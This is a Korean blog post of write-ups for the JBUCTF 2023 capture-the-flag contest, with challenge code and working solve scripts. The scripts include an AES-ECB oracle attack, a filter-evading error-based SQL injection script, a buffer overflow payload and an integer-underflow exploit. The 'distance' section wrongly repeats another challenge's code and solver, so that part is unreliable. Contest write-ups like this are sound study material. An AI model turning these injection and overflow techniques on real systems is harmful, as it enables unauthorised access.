CTF

JBUCTF 2023 문제풀이 및 후기

Namchun 2023. 11. 1. 15:01

Crypto

ecb_mode

from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from base64 import b64decode, b64encode

flag = open('/flag', 'rb').read()

BLOCK_SIZE = 16
key = get_random_bytes(16)
crypto = AES.new(key, AES.MODE_ECB)

while True:
    try:
        data = b64decode(input('plain text (base64) >> '))
    except:
        print('Retry')
        continue
    enc_data = crypto.encrypt(pad(data + flag, BLOCK_SIZE))
    print(f'enc_data : {b64encode(enc_data).decode()}')

 

전 날에 풀었던 핵챔 문제와 굉장히 유사하였다.

https://namchun.tistory.com/62

 

마찬가지로 Oracle Padding Attack을 이용하여 풀이를 하였다.

from pwn import *
from base64 import *

p = remote('jbuctf.kr', 10009)

payload = b64encode(b'a'*64)

def sla(msg):
    p.sendlineafter(b'plain text (base64) >> ', msg)

flag = b''
for i in range(63):
    if flag.decode().endswith('}'):
        break

    payload = b64encode(b64decode(payload)[:-1])
    sla(payload)
    
    target = b64decode(p.recvline()[11:-1])
    
    for ct in range(32, 127):
        test_payload = b64encode(b64decode(payload) + flag + chr(ct).encode())
        sla(test_payload)

        encrypted_data = b64decode(p.recvline()[11:-1])

        if target[:63] == encrypted_data[:63]:
            flag += chr(ct).encode()
            print(flag.decode())
            break

print(flag.decode())

scpCTF{42533c6a4e762e17bfe825c43331d7fb25842cb0}

 

random_primes

from Crypto.Util.number import getPrime
from random import randint

flag = open('/flag', 'rb').read()
flag = int.from_bytes(flag, 'big')

def gen_prime_list(n):
    primes = []
    for i in range(n):
        primes.append(getPrime(512))
    return primes

primes = gen_prime_list(4)

e = 65537
p = primes[randint(0, len(primes) - 1)]
q = primes[randint(0, len(primes) - 1)]
n = p * q

c = pow(flag, e, n)
primes = ', '.join(map(str, primes))
print(f'enc_flag = {c}')

gen_prime_list 함수에 4를 넣고 호출하여 4개의 랜덤한 소수를 받는다.

이 4개의 소수 중에서 2개를 무작위로 골라 N을 구한다.

 

복호화 코드에서는 출력된 4개의 소수들을 이용해 만들 수 있는 모든 2개 조합을 통해 N과 비교하여 p와 q를 구할 수 있었다.

 

from itertools import combinations
from Crypto.Util.number import *
from pwn import *

p = remote('jbuctf.kr', 10007)

enc_flag = int(p.recvline()[11:-1].decode())
print(enc_flag)

primes = p.recvline()[10:-2].decode().split(', ')
primes = [int(x) for x in primes]

all_combinations = list(combinations(primes, 2))

e = 65537
for combo in all_combinations:
    p, q = combo[0], combo[1]
    n = p * q

    phi = (p - 1) * (q - 1)
    d = inverse(e, phi)

    dec_data = long_to_bytes(pow(enc_flag, d, n))
    if b'scpCTF{' in dec_data:
        print(dec_data)

scpCTF{20274b52b7733c01ca141cead68519637556619c7271a6bb00ad}

distance

from Crypto.Util.number import getPrime
from random import randint

flag = open('/flag', 'rb').read()
flag = int.from_bytes(flag, 'big')

def gen_prime_list(n):
    primes = []
    for i in range(n):
        primes.append(getPrime(512))
    return primes

primes = gen_prime_list(4)

e = 65537
p = primes[randint(0, len(primes) - 1)]
q = primes[randint(0, len(primes) - 1)]
n = p * q

c = pow(flag, e, n)
primes = ', '.join(map(str, primes))
print(f'enc_flag = {c}')

문제 이름에서 힌트를 얻어 p와 q 사이의 거리가 짧다는 것을 알게 되었고 이와 관련된 공격 기법을 찾았다.

 

https://www.youtube.com/watch?v=C6abHMw8uoo&ab_channel=AndrewMcCrady

해당 영상을 참고하여 sage를 돌려보았고 p와 q를 구하였다.

 

https://sagecell.sagemath.org/

 

Sage Cell Server

Type some Sage code below and press Evaluate. About SageMathCell About SageMathCell project is an easy-to-use web interface to a free open-source mathematics software system SageMath. You can help SageMath by becoming a . It allows embedding Sage computati

sagecell.sagemath.org

def crack_when_pq_close(n):
    t = int(ceil(sqrt(n)))

    while True:
        k = t^2 - n
        if k > 0:
            s = int(round(sqrt(t^2 - n)))
            if s^2 + n == t^2:
                return t+s, t-s
        t += 1

crack_when_pq_close(31901579399507303322324738665544604714597308940966872690710395580343453283800063896468426013716783991274035487866558019193549130639260783008237132363940209315165895291107084528480793420621402970391064328606202846094516845332974320331924596874534063370781525859285291915142588731576946185517662333435173157283548809920868282793347132212184583486861049594634066422775858980856994389394360786253863737693832668559823095293979176122714362460471702295936156547506685666916326453581260718978488535400881507109627802050378195361630257298246833873871147581412412238490568749062885959671423919104333567998488013823073665667579)

 

(178610132409970804887621598659756622950465419909690486084892374366062309983547551660757990196357508467729515924489128147468491229735494480035971653776917221554268833848062187536628754425357387617401479615014758973984198543590333768986159655916425025547207411740386816245416506387298143098351083586945340913993,
 178610132409970804887621598659756622950465419909690486084892374366062309983547551660757990196357508467729515924489128147468491229735494480035971653776917221554268833848062187536628754425357387617401479615014758973984198543590333768986159655916425025547207411740386816245416506387298143098351083586945340839203)

(p, q)

 

from itertools import combinations
from Crypto.Util.number import *
from pwn import *

p = remote('jbuctf.kr', 10007)

enc_flag = int(p.recvline()[11:-1].decode())
print(enc_flag)

primes = p.recvline()[10:-2].decode().split(', ')
primes = [int(x) for x in primes]

all_combinations = list(combinations(primes, 2))

e = 65537
for combo in all_combinations:
    p, q = combo[0], combo[1]
    n = p * q

    phi = (p - 1) * (q - 1)
    d = inverse(e, phi)

    dec_data = long_to_bytes(pow(enc_flag, d, n))
    if b'scpCTF{' in dec_data:
        print(dec_data)

scpCTF{20274b52b7733c01ca141cead68519637556619c7271a6bb00ad}

Web

내가 가장 좋아하는 쿠키는

주석에 적혀있는 쿠키 리스트 중에서 아무거나 제출해보면

 

이런 alert와 함께

 

submit_cookie라는 쿠키에 값이 생성이 된다.

 

이를 base64로 디코딩해보면 chocolate를 좋아한다는 문구가 있고

조금 게싱이 필요했지만 chocolate를 base64로 인코딩한 값을 submit_cookie에 넣고 새로고침해보면 flag를 얻을 수 있었다.

scpCTF{I_10V3_ch0C01ate}

Go away

문제 서버 링크에 접속해보면

접속이 차단된다.

 

response를 보면 index-5316908.js를 쓰는 것을 볼 수 있고, 접속해서 js를 받아보면

몇 천줄 정도 되는 코드가 있어서 '아 분석하는 것이 아니라 검색해서 찾는거겠구나'라고 생각되어서 scpCTF{를 검색해보니 flag를 얻을 수 있었다.

 

scpCTF{FBI_0P3NUP}

childsql

<?php
    include "./db.php";

    if(preg_match('/secret|_|\.|\(\)|col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("어허..!");
    $query = "select id from secret where id='admin' and pw='{$_GET[pw]}'";
    $result = @mysqli_fetch_array(mysqli_query($conn,$query));
    if (mysqli_error($conn)) {
        echo "데이터베이스 오류: " . mysqli_error($conn); // 오류 내용 출력
        exit();
    }
    
    $_GET[pw] = addslashes($_GET[pw]);
    $query = "select pw from secret where id='admin' and pw='{$_GET[pw]}'";
    $result = @mysqli_fetch_array(mysqli_query($conn,$query));
    if(($result['pw']) && ($result['pw'] == $_GET['pw'])) flag();
?>

쿼리문에서 error가 발생하였을 때 error를 출력해주는 것으로 보아 Error Based Sql Injection 기법이 필요해보인다.

(los의 문제와 굉장히 유사해보이는..ㅎㅎ https://namchun.tistory.com/61)

 

정규표현식에서 if와 when을 필터링하고 있기 때문에 조건문 없이 할 수 있는 방법을 찾아보니

 

' or (select 1 union select length(pw)=1) --%20

이런 서브 쿼리를 사용한다면 length(pw)=?라는 조건에서 거짓이 나올 때

'Subquery return more than 1 row'라는 에러 문구를 뱉게 만들 수 있다.

 

반복문을 통하여 에러가 없을 때의 pw 길이를 알아내었고 substr(pw,{i},1)을 통해 비밀번호를 알아가고 있었는데

pw의 substr 중에서 ascii의 최대값인 127을 넘어가는 값이 있다는 것을 발견하였고

코드를 수정하여 substr(hex(pw),{i},1)로 값을 찾아낼 수 있었다.

 

import requests

url = 'http://13.124.46.20:13205/?pw='

for i in range(100):
    query = f"' or id='admin' and (select 1 union select (length(hex(pw))={str(i)}))--%20"
    r = requests.get(url+query)

    if '한글을 사랑하는 사람들의 모임' in r.text:
        print(i)
        break

flag = ''
for i in range(1, 1000):
    for ct in range(0x10):
        query = f"' or id='admin' and (select 1 union select (substr(hex(pw),{i},1)='{hex(ct)[2:]}'))%23"
        r = requests.get(url+query)

        if '한글을 사랑하는 사람들의 모임' in r.text:
            flag += str(hex(ct)[2:])
            print(flag)
            break

ed959ceab5adec96b4eb8a942121eab7bcebb3b8ec9db4eb8ba4212121라는 값이 나왔으며

127보다 큰 값들은 decode() 해주고 나머지는 chr()로 만들어주니 "한국어는!!근본이다!!!"가 나왔다.

이 문자열을 pw에 넣으니 flag() 함수가 실행되며 flag를 얻을 수 있었다.

 

scpCTF{slkndfnksd_21dmi21_asncioas}

Pwnable

babybof

main func

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[256]; // [rsp+0h] [rbp-100h] BYREF

  vuln((__int64)v4);
  return 0;
}

 

vuln func

size_t __fastcall vuln(__int64 a1)
{
  char v2[512]; // [rsp+10h] [rbp-200h] BYREF

  __isoc99_scanf("%511s", v2);
  return xor_data(a1, v2);
}

 

xor_data func

size_t __fastcall xor_data(__int64 a1, const char *inputValue)
{
  size_t result; // rax
  int i; // [rsp+1Ch] [rbp-14h]

  for ( i = 0; ; ++i )
  {
    result = strlen(inputValue);
    if ( i >= result )
      break;
    *(_BYTE *)(i + a1) = inputValue[i] ^ 0x58;
  }
  return result;
}

 

get_flag func

void __noreturn get_flag()
{
  char s[264]; // [rsp+0h] [rbp-110h] BYREF
  FILE *stream; // [rsp+108h] [rbp-8h]

  stream = fopen("/home/RET/flag", "r");
  if ( !stream )
  {
    puts("flag.txt not found - call SCP member\n");
    exit(0);
  }
  fgets(s, 256, stream);
  puts(s);
  exit(0);
}

 

512의 길이만큼 입력을 받고, 입력받은 값들을 rbp-0x100에 0x58과 xor하여 저장한다.

payload를 구상해보면 0x100(256)만큼 dummy를 넣어주고 sfp를 채운 뒤 get_flag의 주소를 0x58과 xor하여 넣어주면 될 것이다.

from pwn import *

# p = process('./babybof')
p = remote('jbuctf.kr', 13571)

payload = b'A'*256
payload += b'B'*8

# get_flag = 0x4011D6
get_flag = b'\x8eI\x18XXXXX' #0x4011D6을 각각 0x58로 xor한 값
payload += get_flag

p.sendline(payload)

p.interactive()

scpCTF{babyB@F_0n3_5t3p_c13arr_Gr3at#!}

Forensic

Easy to Listening

오디오 파일을 받아 재생하면 scpCTF까지는 잘 들리지만 그 이후로는 역재생되어 나온다.

 

https://audiotrimmer.com/kr/online-audio-reverser/

 

오디오 리버서 - 오디오 파일을 거꾸로 재생해보세요!

오디오 파일을 거꾸로 재생하길 원하시나요? Audio Reverser는 오디오 파일을 거꾸로 재생하여 흥미로운 사운드 효과를 만들어 낼 수 있도록 해주는 무료 온라인 툴입니다.

audiotrimmer.com

이 사이트에서 변환하여 들어보았다.

 

scpCTF{someone_behind_you}

Reversing

serial

main func

int __cdecl main(int argc, const char **argv, const char **envp)
{
  FILE *v3; // eax
  int i; // eax
  int v5; // edx
  int v6; // ecx
  char *v7; // eax

  sub_401010("Input : ");
  v3 = _acrt_iob_func(0);
  fgets(Buffer, 23, v3);
  for ( i = 0; i < 15; ++i )
    ++byte_403018[i];
  v5 = 0;
  while ( Buffer[v5] == ((dword_402150[v5] >> 2) | ((dword_402150[v5] & 3) << 6)) )
  {
    ++v5;
    v6 = 0;
    if ( v5 >= 23 )
      goto LABEL_8;
  }
  v6 = 1;
LABEL_8:
  v7 = "Wrong, Try again!";
  if ( !v6 )
    v7 = "Correct! This is Reversing";
  sub_401010(v7);
  system("pause > nul");
  return 0;
}

 

key.py

dword = [0xCD, 0x8D, 0xC1, 0xD, 0x51, 0x19, 0xED, 0xDD, 0x85, 0xC9, 0xB5, 0xA5, 0xB9, 0x9D, 0x7D, 0xD5, 0xC1, 0xD1, 0xA5, 0xB5, 0x95, 0xF5]

for v5 in range(22):
    print(chr((dword[v5] >> 2) | ((dword[v5] & 3) << 6)), end='')

scpCTF{warming_uptime}

misc

나도 이제 친구가 생겼어!!

Best_Fri_end.png라는 파일 하나를 준다.

hxd로 열어보면 파일 끝에 jpg의 footer signature가 보인다.

 

FF D8(jpg header signature)를 검색해서 해당 부분부버 파일 끝까지 복사 후 새로 파일을 만들어보면

flag가 담긴 파일을 확인할 수 있다

 

scpCTF{It_has_double_personality}

donation

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <stdint.h>

uint16_t your_money = 0;
uint16_t dona_money = 0;

void get_flag()
{
    FILE *f = fopen("/home/UF/flag", "r");
    char buf[256];
    if (f == NULL)
    {
        puts("flag.txt not found - call SCP member\n");
        exit(0);
    }
    else
    {
        fgets(buf, sizeof(buf), f);
        printf("%s\n", buf);
        exit(0);
    }
}

void menu()
{
    printf("======MENU======\n");
    printf("1. check money\n");
    printf("2. donate money\n");
    printf("3. make money\n");
    printf("4. shop\n");
    printf("================\n");
}

void shop_menu()
{
    printf("======MENU======\n");
    printf("1. buy flag\n");
    printf("2. buy candy\n");
    printf("3. return to menu\n");
    printf("================\n");
}

void donate_menu()
{
    printf("======MENU======\n");
    printf("1. Total donation amount\n");
    printf("2. Donate my money\n");
    printf("3. return to menu\n");
    printf("================\n");
}

void shop()
{
    int choice;
    while (1)
    {
        shop_menu();
        scanf("%d", &choice);

        switch (choice)
        {
        case 1:
            if (your_money >= 65530)
            {
                your_money -= 65530;
                printf("Purchase completed. Please come again. ~_~\n");
                get_flag();
            }
            else
            {
                printf("The flag is 65,530 won. You have no money!!\n");
            }
            break;
        case 2:
            your_money -= 300;
            dona_money += 300;
            printf("you bought candy!\n");
            break;
        case 3:
            return;
        }
    }
}

int problem()
{
    srand(time(NULL));

    int num1 = rand() % 9999 + 1;
    int num2 = rand() % 9999 + 1;
    int operator= rand() % 4;
    float answer = 0.0;

    switch (operator)
    {
    case 0:
        answer = num1 + num2;
        printf("%d + %d = ?\n", num1, num2);
        break;
    case 1:
        answer = num1 - num2;
        printf("%d - %d = ?\n", num1, num2);
        break;
    case 2:
        answer = num1 * num2;
        printf(" %d * %d = ?\n", num1, num2);
        break;
    case 3:
        answer = (float)num1 / num2;
        printf("%d / %d = ?\n", num1, num2);
        break;
    }

    float userAnswer;
    printf("Input answer: ");
    scanf("%f", &userAnswer);

    if (userAnswer == answer)
        return 1;
    else
        return 0;
}

void work()
{
    int answer;
    answer = problem();
    if (answer == 1 && your_money < 65500)
    {
        printf("correct. you get 10 won\n");
        your_money += 10;
    }
    else
    {
        printf("Incorrect.\n");
    }
}

void check()
{
    printf("There is %d won in your wallet.\n", your_money);
}

void donate()
{
    int choice;
    uint16_t input_money;

    donate_menu();
    scanf("%d", &choice);

    switch (choice)
    {
    case 1:
        printf("Total donate money is %d won.\n", dona_money);
        break;
    case 2:
        printf("How much are you going to donate?\n");
        scanf("%hd", &input_money);
        if (your_money < input_money)
        {
            printf("You don't have enough money to donate the money. Get out of here right now!!!!!\n");
            exit(-1);
        }
        your_money -= input_money;
        dona_money += input_money;
        printf("%d won has been donated.\n", input_money);
        break;
    case 3:
        return;
    }
}

int main()
{
    int choice;
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    printf("Hello!, There is %d won in your wallet.\n", your_money);
    while (1)
    {
        menu();
        scanf("%d", &choice);
        switch (choice)
        {
        case 1:
            check();
            break;
        case 2:
            donate();
            break;
        case 3:
            work();
            break;
        case 4:
            shop();
            break;
        }
    }
    return 0;
}

65530원을 가지고 있으면 flag를 구매할 수 있다

work() 함수를 통해 10원씩 돈을 벌 수는 있지만 보유한 돈이 65500원을 넘으면 더 이상 돈을 벌 수 없다.

 

분석을 해보면 shop()에서 candy를 살 때 검증을 하지 않아 언더플로우가 발생한다. 하지만 뺄 수 있는 돈은 300원으로 정해져 있어 만약 290원까지 벌고 300원을 빼더라도 65536 + (290 - 300) = 65526원으로 4원이 부족하다.

 

이는 donate() 함수를 통해 300원까지 벌고 1원을 버려 299원을 만든 뒤 300을 뺀다면 65536 + (299 - 300) = 65535원을 생성할 수 있게 될 것이다.

from pwn import *

def slaMenu(msg):
    p.sendlineafter(b'================\n', msg.encode())

def slaQuestion(q, msg):
    p.sendlineafter(q.encode(), msg.encode())

p = remote('jbuctf.kr', 13572)

for i in range(30):
    slaMenu('3')
    prob = p.recv().decode().split()
    num1 = prob[0]
    num2 = prob[2]
    
    sign = prob[1]
    result = eval(f'{num1} {sign} {num2}')
    
    slaQuestion('Input answer: ', str(result))

slaMenu('2')
slaMenu('2')
slaQuestion('How much are you going to donate?\n', '1')

slaMenu('4')
slaMenu('2')
slaMenu('1')

print(p.recvall())

scpCTF{!nt3g3r_Und3rf10W_G3t_F1aG_:)}

Survey

설문조사를 하고 flag를 얻었다.

scpCTF{7h4nk_y0u_f0r_p4r71c1p47ing}

(설문조사한 팀들로 추첨했는데 당첨됐다 ㅎㅎ)


내 문제풀이 블로그에 대한 방향성을 생각해보았는데 아직 남들에게 알려주기보다는 내가 다음번에 필요할 때 다시 생각나고, 참고할 만한 자료가 될 수 있도록 다시 정리해두는 방식으로 작성해보려고 한다.

'CTF' 카테고리의 다른 글

더 해킹 챔피언십 주니어 2023(DSEC 2023) 문제 풀이 및 후기  (0) 2023.10.30
2022 MetaRed CTF  (0) 2022.11.13